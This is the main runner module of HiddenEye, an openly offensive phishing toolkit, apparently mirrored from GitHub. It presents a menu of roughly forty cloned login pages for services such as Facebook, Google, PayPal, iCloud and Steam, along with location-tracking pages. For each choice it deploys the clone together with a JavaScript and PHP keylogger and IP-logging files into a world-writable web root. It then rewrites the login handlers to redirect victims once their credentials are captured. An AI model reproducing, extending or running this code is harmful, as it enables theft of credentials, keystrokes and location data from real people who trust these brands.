mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
477 lines
19 KiB
Python
477 lines
19 KiB
Python
#
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
# This is free software, and you are welcome to redistribute it
|
|
# under certain conditions; you can read LICENSE for details.
|
|
#
|
|
import os
|
|
import time
|
|
|
|
import Defs.ActionManager.simple_informant as simple_informant
|
|
import Defs.LocalizationManager.lang_action_manager.lang_main_runner as localization
|
|
import Defs.LocalizationManager.lang_global_usage as global_localization
|
|
from Defs.ImportManager.unsorted_will_be_replaced import chmod
|
|
from Defs.ImportManager.unsorted_will_be_replaced import copyfile
|
|
from Defs.ImportManager.unsorted_will_be_replaced import mkdir
|
|
from Defs.ImportManager.unsorted_will_be_replaced import path
|
|
from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
|
|
from Defs.ImportManager.unsorted_will_be_replaced import remove
|
|
from Defs.ImportManager.unsorted_will_be_replaced import rmtree
|
|
from Defs.ImportManager.unsorted_will_be_replaced import run_command
|
|
from Defs.ImportManager.unsorted_will_be_replaced import wait
|
|
from Defs.ImportManager.unsorted_will_be_replaced import webpage_set
|
|
from Defs.LocalizationManager.helper import print_sorted_as_menu
|
|
|
|
module_loading_message = simple_informant.module_loading_message
|
|
|
|
|
|
def start_main_menu():
|
|
run_command("clear")
|
|
print(global_localization.hidden_eye_logo)
|
|
print(localization.lang_start_main_menu["version_by_darksec"])
|
|
print(localization.lang_start_main_menu["short_description"])
|
|
print(localization.lang_start_main_menu["features_summary"])
|
|
print(localization.lang_start_main_menu["down_line"])
|
|
print(localization.lang_start_main_menu["attack_vector_message"])
|
|
print(localization.lang_start_main_menu["phishing_modules_header"])
|
|
print_sorted_as_menu(localization.lang_start_main_menu["phishing_modules_list"])
|
|
print(localization.lang_start_main_menu["additional_modules"])
|
|
print_sorted_as_menu(localization.lang_start_main_menu["additional_modules_list"])
|
|
|
|
option = input(global_localization.input_line)
|
|
option = option.zfill(2)
|
|
if option == "01":
|
|
module_loading_message("Facebook")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(
|
|
localization.lang_start_main_menu["facebook_operation_modes"]
|
|
)
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("Facebook", customOption)
|
|
elif option == "02":
|
|
module_loading_message("Google")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(
|
|
localization.lang_start_main_menu["google_operation_modes"]
|
|
)
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("Google", customOption)
|
|
elif option == "03":
|
|
module_loading_message("LinkedIn")
|
|
customOption = ""
|
|
start_phishing_page("LinkedIn", customOption)
|
|
elif option == "04":
|
|
module_loading_message("GitHub")
|
|
customOption = ""
|
|
start_phishing_page("GitHub", customOption)
|
|
elif option == "05":
|
|
module_loading_message("StackOverflow")
|
|
customOption = ""
|
|
start_phishing_page("StackOverflow", customOption)
|
|
elif option == "06":
|
|
module_loading_message("WordPress")
|
|
customOption = ""
|
|
start_phishing_page("WordPress", customOption)
|
|
elif option == "07":
|
|
module_loading_message("Twitter")
|
|
customOption = ""
|
|
start_phishing_page("Twitter", customOption)
|
|
elif option == "08":
|
|
module_loading_message("Instagram")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(
|
|
localization.lang_start_main_menu["instagram_operation_modes"]
|
|
)
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("Instagram", customOption)
|
|
elif option == "09":
|
|
module_loading_message("Snapchat")
|
|
customOption = ""
|
|
start_phishing_page("Snapchat", customOption)
|
|
elif option == "10":
|
|
module_loading_message("Yahoo")
|
|
customOption = ""
|
|
start_phishing_page("Yahoo", customOption)
|
|
elif option == "11":
|
|
module_loading_message("Twitch")
|
|
customOption = ""
|
|
start_phishing_page("Twitch", customOption)
|
|
elif option == "12":
|
|
module_loading_message("Microsoft")
|
|
customOption = ""
|
|
start_phishing_page("Microsoft", customOption)
|
|
elif option == "13":
|
|
module_loading_message("Steam")
|
|
customOption = ""
|
|
start_phishing_page("Steam", customOption)
|
|
elif option == "14":
|
|
module_loading_message("VK")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(localization.lang_start_main_menu["VK_operation_modes"])
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("VK", customOption)
|
|
elif option == "15":
|
|
module_loading_message("iCloud")
|
|
customOption = ""
|
|
start_phishing_page("iCloud", customOption)
|
|
elif option == "16":
|
|
module_loading_message("GitLab")
|
|
customOption = ""
|
|
start_phishing_page("GitLab", customOption)
|
|
elif option == "17":
|
|
module_loading_message("NetFlix")
|
|
customOption = ""
|
|
start_phishing_page("NetFlix", customOption)
|
|
elif option == "18":
|
|
module_loading_message("Origin")
|
|
customOption = ""
|
|
start_phishing_page("Origin", customOption)
|
|
elif option == "19":
|
|
module_loading_message("Pinterest")
|
|
customOption = ""
|
|
start_phishing_page("Pinterest", customOption)
|
|
elif option == "20":
|
|
module_loading_message("ProtonMail")
|
|
customOption = ""
|
|
start_phishing_page("ProtonMail", customOption)
|
|
elif option == "21":
|
|
module_loading_message("Spotify")
|
|
customOption = ""
|
|
start_phishing_page("Spotify", customOption)
|
|
elif option == "22":
|
|
module_loading_message("Quora")
|
|
customOption = ""
|
|
start_phishing_page("Quora", customOption)
|
|
elif option == "23":
|
|
module_loading_message("PornHub")
|
|
customOption = ""
|
|
start_phishing_page("PornHub", customOption)
|
|
elif option == "24":
|
|
module_loading_message("Adobe")
|
|
customOption = ""
|
|
start_phishing_page("Adobe", customOption)
|
|
elif option == "25":
|
|
module_loading_message("Badoo")
|
|
customOption = ""
|
|
start_phishing_page("Badoo", customOption)
|
|
elif option == "26":
|
|
module_loading_message("CryptoCurrency")
|
|
customOption = ""
|
|
start_phishing_page("CryptoCurrency", customOption)
|
|
elif option == "27":
|
|
module_loading_message("DevianArt")
|
|
customOption = ""
|
|
start_phishing_page("DevianArt", customOption)
|
|
elif option == "28":
|
|
module_loading_message("DropBox")
|
|
customOption = ""
|
|
start_phishing_page("DropBox", customOption)
|
|
elif option == "29":
|
|
module_loading_message("eBay")
|
|
customOption = ""
|
|
start_phishing_page("eBay", customOption)
|
|
elif option == "30":
|
|
module_loading_message("MySpace")
|
|
customOption = ""
|
|
start_phishing_page("Myspace", customOption)
|
|
elif option == "31":
|
|
module_loading_message("PayPal")
|
|
customOption = ""
|
|
start_phishing_page("PayPal", customOption)
|
|
elif option == "32":
|
|
module_loading_message("Shopify")
|
|
customOption = ""
|
|
start_phishing_page("Shopify", customOption)
|
|
elif option == "33":
|
|
module_loading_message("Verizon")
|
|
customOption = ""
|
|
start_phishing_page("Verizon", customOption)
|
|
elif option == "34":
|
|
module_loading_message("Yandex")
|
|
customOption = ""
|
|
start_phishing_page("Yandex", customOption)
|
|
elif option == "35":
|
|
module_loading_message("Reddit")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(
|
|
localization.lang_start_main_menu["reddit_operation_modes"]
|
|
)
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("Reddit", customOption)
|
|
elif option == "36":
|
|
module_loading_message("Subitoit")
|
|
customOption = ""
|
|
start_phishing_page("Subitoit", customOption)
|
|
elif option == "37":
|
|
module_loading_message("PlayStation")
|
|
customOption = ""
|
|
start_phishing_page("PlayStation", customOption)
|
|
elif option == "38":
|
|
module_loading_message("Xbox")
|
|
customOption = ""
|
|
start_phishing_page("Xbox", customOption)
|
|
elif option == "39":
|
|
module_loading_message("CUSTOM(1)")
|
|
customOption = ""
|
|
start_phishing_page("CUSTOM(1)", customOption)
|
|
elif option == "40":
|
|
module_loading_message("CUSTOM(2)")
|
|
customOption = ""
|
|
start_phishing_page("CUSTOM(2)", customOption)
|
|
|
|
"""PHISHING MODULES BELOW"""
|
|
|
|
elif option == "0A":
|
|
module_loading_message("LOCATION")
|
|
print(localization.lang_start_main_menu["operation_mode"])
|
|
print_sorted_as_menu(
|
|
localization.lang_start_main_menu[
|
|
"additional_module_location_operation_modes"
|
|
]
|
|
)
|
|
customOption = input(global_localization.input_line)
|
|
start_phishing_page("LOCATION", customOption)
|
|
|
|
else:
|
|
start_main_menu()
|
|
|
|
|
|
def start_phishing_page(page, custom_option): # Phishing pages selection menu
|
|
run_command(["chmod", "-R", "777", "Server"])
|
|
rmtree("Server/www", onerror=simple_informant.remove_readonly)
|
|
mkdir("Server/www")
|
|
pathlib_Path("Server/www/usernames.txt").touch()
|
|
pathlib_Path("Server/www/ip.txt").touch()
|
|
copyfile("WebPages/ip.php", "Server/www/ip.php")
|
|
copyfile("WebPages/KeyloggerData.txt", "Server/www/KeyloggerData.txt")
|
|
copyfile("WebPages/keylogger.js", "Server/www/keylogger.js")
|
|
copyfile("WebPages/keylogger.php", "Server/www/keylogger.php")
|
|
try:
|
|
remove("link.url")
|
|
except:
|
|
pass
|
|
|
|
if custom_option == "1" and page == "Facebook":
|
|
webpage_set("WebPages/fb_standard/", "Server/www/")
|
|
elif custom_option == "2" and page == "Facebook":
|
|
webpage_set("WebPages/fb_advanced_poll/", "Server/www/")
|
|
elif custom_option == "3" and page == "Facebook":
|
|
webpage_set("WebPages/fb_security_fake/", "Server/www/")
|
|
elif custom_option == "4" and page == "Facebook":
|
|
webpage_set("WebPages/fb_messenger/", "Server/www/")
|
|
elif custom_option == "1" and page == "Google":
|
|
webpage_set("WebPages/google_standard/", "Server/www/")
|
|
elif custom_option == "2" and page == "Google":
|
|
webpage_set("WebPages/google_advanced_poll/", "Server/www/")
|
|
elif custom_option == "3" and page == "Google":
|
|
webpage_set("WebPages/google_advanced_web/", "Server/www/")
|
|
elif page == "LinkedIn":
|
|
webpage_set("WebPages/linkedin/", "Server/www/")
|
|
elif page == "GitHub":
|
|
webpage_set("WebPages/GitHub/", "Server/www/")
|
|
elif page == "StackOverflow":
|
|
webpage_set("WebPages/stackoverflow/", "Server/www/")
|
|
elif page == "WordPress":
|
|
webpage_set("WebPages/wordpress/", "Server/www/")
|
|
elif page == "Twitter":
|
|
webpage_set("WebPages/twitter/", "Server/www/")
|
|
elif page == "Snapchat":
|
|
webpage_set("WebPages/Snapchat_web/", "Server/www/")
|
|
elif page == "Yahoo":
|
|
webpage_set("WebPages/yahoo_web/", "Server/www/")
|
|
elif page == "Twitch":
|
|
webpage_set("WebPages/twitch/", "Server/www/")
|
|
elif page == "Microsoft":
|
|
webpage_set("WebPages/live_web/", "Server/www/")
|
|
elif page == "Steam":
|
|
webpage_set("WebPages/steam/", "Server/www/")
|
|
elif page == "iCloud":
|
|
webpage_set("WebPages/iCloud/", "Server/www/")
|
|
elif custom_option == "1" and page == "Instagram":
|
|
webpage_set("WebPages/Instagram_web/", "Server/www/")
|
|
elif custom_option == "2" and page == "Instagram":
|
|
webpage_set("WebPages/Instagram_autoliker/", "Server/www/")
|
|
elif custom_option == "3" and page == "Instagram":
|
|
webpage_set("WebPages/Instagram_advanced_attack/", "Server/www/")
|
|
elif custom_option == "4" and page == "Instagram":
|
|
webpage_set("WebPages/Instagram_VerifiedBadge/", "Server/www/")
|
|
elif custom_option == "5" and page == "Instagram":
|
|
webpage_set("WebPages/instafollowers/", "Server/www/")
|
|
elif custom_option == "1" and page == "VK":
|
|
webpage_set("WebPages/VK/", "Server/www/")
|
|
elif custom_option == "2" and page == "VK":
|
|
webpage_set("WebPages/VK_poll_method/", "Server/www/")
|
|
elif page == "GitLab":
|
|
webpage_set("WebPages/gitlab/", "Server/www/")
|
|
elif page == "NetFlix":
|
|
webpage_set("WebPages/netflix/", "Server/www/")
|
|
elif page == "Origin":
|
|
webpage_set("WebPages/origin/", "Server/www/")
|
|
elif page == "Pinterest":
|
|
webpage_set("WebPages/pinterest/", "Server/www/")
|
|
elif page == "ProtonMail":
|
|
webpage_set("WebPages/protonmail/", "Server/www/")
|
|
elif page == "Spotify":
|
|
webpage_set("WebPages/spotify/", "Server/www/")
|
|
elif page == "Quora":
|
|
webpage_set("WebPages/quora/", "Server/www/")
|
|
elif page == "PornHub":
|
|
webpage_set("WebPages/pornhub/", "Server/www/")
|
|
elif page == "Adobe":
|
|
webpage_set("WebPages/adobe/", "Server/www/")
|
|
elif page == "Badoo":
|
|
webpage_set("WebPages/badoo/", "Server/www/")
|
|
elif page == "CryptoCurrency":
|
|
webpage_set("WebPages/cryptocurrency/", "Server/www/")
|
|
elif page == "DevianArt":
|
|
webpage_set("WebPages/devianart/", "Server/www/")
|
|
elif page == "DropBox":
|
|
webpage_set("WebPages/dropbox/", "Server/www/")
|
|
elif page == "eBay":
|
|
webpage_set("WebPages/ebay/", "Server/www/")
|
|
elif page == "Myspace":
|
|
webpage_set("WebPages/myspace/", "Server/www/")
|
|
elif page == "PayPal":
|
|
webpage_set("WebPages/paypal/", "Server/www/")
|
|
elif page == "Shopify":
|
|
webpage_set("WebPages/shopify/", "Server/www/")
|
|
elif page == "Verizon":
|
|
webpage_set("WebPages/verizon/", "Server/www/")
|
|
elif page == "Yandex":
|
|
webpage_set("WebPages/yandex/", "Server/www/")
|
|
elif custom_option == "1" and page == "Reddit":
|
|
webpage_set("WebPages/Reddit/", "Server/www/")
|
|
elif custom_option == "2" and page == "Reddit":
|
|
webpage_set("WebPages/Reddit-old/", "Server/www/")
|
|
elif page == "Subitoit":
|
|
webpage_set("WebPages/subitoit/", "Server/www/")
|
|
elif page == "PlayStation":
|
|
webpage_set("WebPages/playstation/", "Server/www/")
|
|
elif page == "Xbox":
|
|
webpage_set("WebPages/xbox/", "Server/www/")
|
|
elif page == "CUSTOM(1)":
|
|
print(
|
|
localization.lang_start_phishing_page["custom_folder_directory"].format(
|
|
page=page
|
|
)
|
|
)
|
|
print(
|
|
localization.lang_start_phishing_page["manual_reading_suggestion"].format(
|
|
page=page
|
|
)
|
|
)
|
|
input(
|
|
localization.lang_start_phishing_page[
|
|
"press_enter_to_continue_if_setup_correctly"
|
|
]
|
|
)
|
|
print(localization.lang_start_phishing_page["copying_your_files"])
|
|
wait(3)
|
|
webpage_set("WebPages/CUSTOM(1)/", "Server/www/")
|
|
elif page == "CUSTOM(2)":
|
|
print(
|
|
localization.lang_start_phishing_page["custom_folder_directory"].format(
|
|
page=page
|
|
)
|
|
)
|
|
print(
|
|
localization.lang_start_phishing_page["manual_reading_suggestion"].format(
|
|
page=page
|
|
)
|
|
)
|
|
input(
|
|
localization.lang_start_phishing_page[
|
|
"press_enter_to_continue_if_setup_correctly"
|
|
]
|
|
)
|
|
print(localization.lang_start_phishing_page["copying_your_files"])
|
|
wait(3)
|
|
webpage_set("WebPages/CUSTOM(2)/", "Server/www/")
|
|
|
|
# Tools Below && Phishing Pages Above
|
|
elif custom_option == "1" and page == "LOCATION":
|
|
wait(3)
|
|
webpage_set("WebPages/TOOLS/nearyou", "Server/www/")
|
|
print(localization.lang_start_phishing_page["https_suggestion"])
|
|
input(
|
|
localization.lang_start_phishing_page[
|
|
"press_enter_to_continue_if_setup_correctly"
|
|
]
|
|
)
|
|
elif custom_option == "2" and page == "LOCATION":
|
|
wait(3)
|
|
webpage_set("WebPages/TOOLS/gdrive", "Server/www/")
|
|
print(localization.lang_start_phishing_page["https_suggestion"])
|
|
print(localization.lang_start_phishing_page["gdrive_suggestion"])
|
|
input(
|
|
localization.lang_start_phishing_page[
|
|
"press_enter_to_continue_if_setup_correctly"
|
|
]
|
|
)
|
|
|
|
else:
|
|
run_command("clear")
|
|
print("Please choose a valid option")
|
|
time.sleep(1)
|
|
start_main_menu()
|
|
|
|
|
|
def enter_custom_redirecting_url(): # Question where user can input custom web-link
|
|
run_command("clear")
|
|
print(global_localization.hidden_eye_logo)
|
|
print(global_localization.official_website_link)
|
|
print(global_localization.by_darksec)
|
|
print(
|
|
localization.lang_enter_custom_redirecting_url["enter_redirecting_url_header"]
|
|
)
|
|
print(
|
|
localization.lang_enter_custom_redirecting_url["enter_redirecting_url_prompt"]
|
|
)
|
|
custom = input(localization.lang_enter_custom_redirecting_url["redirect_here"])
|
|
if "http://" in custom or "https://" in custom:
|
|
pass
|
|
else:
|
|
custom = "http://" + custom
|
|
|
|
# For Location (gdrive) Template Redirection.
|
|
if path.exists("Server/www/js/location.js"):
|
|
with open("Server/www/js/location.js") as f:
|
|
read_data = f.read()
|
|
c = read_data.replace("<CUSTOM>", custom)
|
|
f = open("Server/www/js/location.js", "w")
|
|
f.write(c)
|
|
f.close()
|
|
|
|
if path.exists("Server/www/post.php") and path.exists("Server/www/login.php"):
|
|
with open("Server/www/login.php") as f:
|
|
read_data = f.read()
|
|
c = read_data.replace("<CUSTOM>", custom)
|
|
f = open("Server/www/login.php", "w")
|
|
f.write(c)
|
|
f.close()
|
|
|
|
with open("Server/www/post.php") as f:
|
|
read_data = f.read()
|
|
c = read_data.replace("<CUSTOM>", custom)
|
|
f = open("Server/www/post.php", "w")
|
|
f.write(c)
|
|
f.close()
|
|
|
|
else:
|
|
try:
|
|
with open("Server/www/login.php") as f:
|
|
read_data = f.read()
|
|
c = read_data.replace("<CUSTOM>", custom)
|
|
f = open("Server/www/login.php", "w")
|
|
f.write(c)
|
|
f.close()
|
|
except FileNotFoundError:
|
|
run_command("clear")
|
|
print(global_localization.hidden_eye_logo)
|
|
print(global_localization.official_website_link)
|
|
print(global_localization.by_darksec)
|
|
print(
|
|
"[^] ERROR: Please make sure your folder contains a valid login.php file."
|
|
)
|
|
exit()
|